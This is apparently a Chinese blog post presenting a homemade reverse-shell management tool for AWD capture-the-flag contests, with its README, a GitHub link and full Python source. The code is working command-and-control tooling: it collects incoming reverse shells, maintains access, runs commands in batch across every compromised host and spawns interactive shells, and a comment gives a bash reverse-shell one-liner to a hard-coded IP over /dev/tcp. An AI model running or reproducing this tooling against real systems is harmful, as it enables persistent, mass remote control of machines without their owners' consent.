awd线下shell管理工具 权限维持+批量执行命令
0x00:关于工具
啊啊啊 自从上次比赛因为用的shell管理框架不大行,导致30个shell全部丢掉,自己想着来写个shell管理框架。
虽然是个小项目,但是真的蛮好用的,awd中能把权限维持住多方便(hh 个人觉得)。代码也很强壮,不会意外退出、卡死等等,目前自己能想到的bug都做了异常处理。
附上链接:https://github.com/Tkitn/Reverse_shell_manage
0x01:README
##Tkitn_reverse_manage 278884553@qq.com
###介绍
- awd线下shell管理与权限维持
- 批量执行命令,一键批量执行
- 交互式shell生成
- 异常处理,不会因为对方kill进程而意外退出,或命令输错导致程序卡死
###How to use
python3
python Tkitn_reverse_manage.py 0.0.0.0 9992
###参数
- h:列出帮助页面
- a:批量命令执行所有shell
- l:查看已经上线的所有shell
- g:根据ip进入其shell通道
- d:删除此shell节点
- r:刷新已经上线的shell,连接失败的则删除掉
- i:在当前的通道处生成交互式shell
- python -c 'import pty;pty.spawn("/bin/bash")'
- q:退出程序
0x03:关于代码
#encoding="utf-8" #@version 2.0.0 #@author Tkitn #@python3 #Examples: #python3 Tkitn_reverse_manage.py 0.0.0.0 9992 #python -c 'import pty;pty.spawn("/bin/bash")' #bash -c 'bash -i >/dev/tcp/192.168.43.220/9992 0>&1' #批量执行:cat flag*.txt import socket import threading import os import signal import time import sys targets={'127.0.0.1':''} def show_opt(): print("[!]----Tkitn-Reverse-Manager----[!]") print("[!]----h:查看当前的shell帮助----[!]") print("[!]----a:所有shell批量执行----[!]") print("[!]----l:查看所有shell----[!]") print("[!]----g:进入某个交互式shell----[!]") print("[!]----d:删除某个shell----[!]") print("[!]----r:刷新目标shell字典----[!]") print("[!]----i:根据当前节点生成交互式shell----[!]") print("[!]----q:退出进程----[!]") def sign_handler(signum,frame): print("") show_opt() def server_bind(host,port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)#端口能够立即复用 server.bind((host, int(port))) print("[!]Listening on 0.0.0.0:9992...") while True: server.listen(40) conn, attr = server.accept() conn.setblocking(0)#socket#非阻塞,用于防止使用者输入错误命令导致线程卡死 print("[!]Got connection from %s:%s" % (attr[0], attr[1])) Target_ob = Taget(conn) targets[attr[0]] = Target_ob def send_mes(conn): message=input(">>") conn.send(message.encode('utf-8')+"\n") def recv_mes(conn): try: data=conn.recv(2048) print(data.decode('utf-8')) except socket.timeout: print("Connection timeout") except socket.error as e: print(e) def transfer(h): slave = targets[h] socket_fd = slave.sock_target socket_fd.setblocking(1)#这里是一开始是空信息,变成阻塞模式,否则会报错 while True: interactive_flag = slave.interactive_flag if(interactive_flag): data = socket_fd.recv(2048) sys.stdout.write(data.decode('utf-8')) else: break class Taget(): def __init__(self,sock_target):#初始化一个socket self.sock_target=sock_target self.hostname,self.hostport=sock_target.getpeername() self.interactive_flag = True def del_target(self,position):#将目标ip从targets字典里删除 for i in list(targets.keys()): if(i==position): try: del targets[i] self.sock_target.close() return True except: return False def send_command(self,command): try: command = command + "\n" self.sock_target.send(command.encode('utf-8')) time.sleep(0.5) data = self.sock_target.recv(2048) print(data.decode('utf-8')) except: print("class Target send_message wrong") def refresh(self): try: command="hello" self.sock_target.send(command.encode('utf-8')) except socket.error as e: self.del_target(self.hostname) def interactive_shell(self): t = threading.Thread(target=transfer, args=(self.hostname,))
t.setDaemon(True)#同下,防止主线程退出,子线程没退出,程序卡死 t.start() try: while True: message = input("") if(message=="back"): self.interactive_flag = False self.sock_target.setblocking(0)#当back以后 再把当前socket变成非阻塞模式,防止命令输错导致recv接收不到信息而卡死 break else: message = message + "\n" self.sock_target.send(message.encode('utf-8')) except: pass def main(): host=sys.argv[1] port =int(sys.argv[2]) signal.signal(signal.SIGINT,sign_handler) #信号处理,防止错误执行ctrl+c thread_server=threading.Thread(target=server_bind,args=(host,port))#监听函数多线程处理 thread_server.setDaemon(True)
#守护线程 不加的话主线程退出 子线程仍然存活 导致进程卡死(因为这里主线程有while true在,会一直存活),输入q主线程就退出,子线程全部死亡,程序正常退出。 thread_server.start() print("start server \n") time.sleep(0.5) show_opt() position =list(targets.keys())[0]#当前的shell通道ip while True: s=input("[!]"+position+">>"+"\n")#命令执行必须要加\n,模拟键盘回车 if(s=="l"): print("-"*20) if(len(targets)==0): print("No target connect") for i in targets.keys():#keys()打印出字典的全部key print(i) print("-" * 20) elif(s=="h"): show_opt() elif(s=="g"): target_host=input("输入目标ip:") for i in targets.keys(): if(target_host==i): position=target_host current_object=targets[position]#字典的value就是Target的对象 while True: try: command = input("输入命令>>") if(command=="back"): break else: current_object.send_command(command) except: print("something wrong") elif(s=="a"):#批量shell执行命令 while True: c_command = input("批量命令>>") if(c_command=="back"): break else: for i in targets.keys(): if (i == '127.0.0.1'): pass else: all_obj = targets[i] print("-" * 40) print(all_obj.hostname) print("-" * 40) all_obj.send_command(c_command) elif(s=="r"):# 刷新字典 for i in list(targets.keys()): if (i == '127.0.0.1'): pass else: all_obj=targets[i] all_obj.refresh() elif(s=="d"):#删除shell position=input("输入删除的ip:") obj_del=targets[position] if(obj_del.del_target(position)): print("成功删除%s的shell" %(position)) else: print("删除%s的shell失败" %(position)) elif (s == "i"):#建立通道 current_object=targets[position] current_object.interactive_shell() elif(s=="q"):#主线程退出,配合setDaemo 子线程全部退出,程序正常退出 exit(0) else: os.system(s) if __name__ == '__main__': main()
此处带一下代码思路,留作方便记忆
整体代码框架是将被攻击者整理成一个类。类中有其功能。
main()函数里面循环了一个框架,多线程处理socket监听函数
targets字典保存了{"ip":ip对应的被攻击者的类对象}
通过这个targets类对象的调用来进行一些功能实现
更具体的看代码注释
0x04:最后
各位大佬有好的意见可以提出来,希望对大家有帮助
加油!!!加油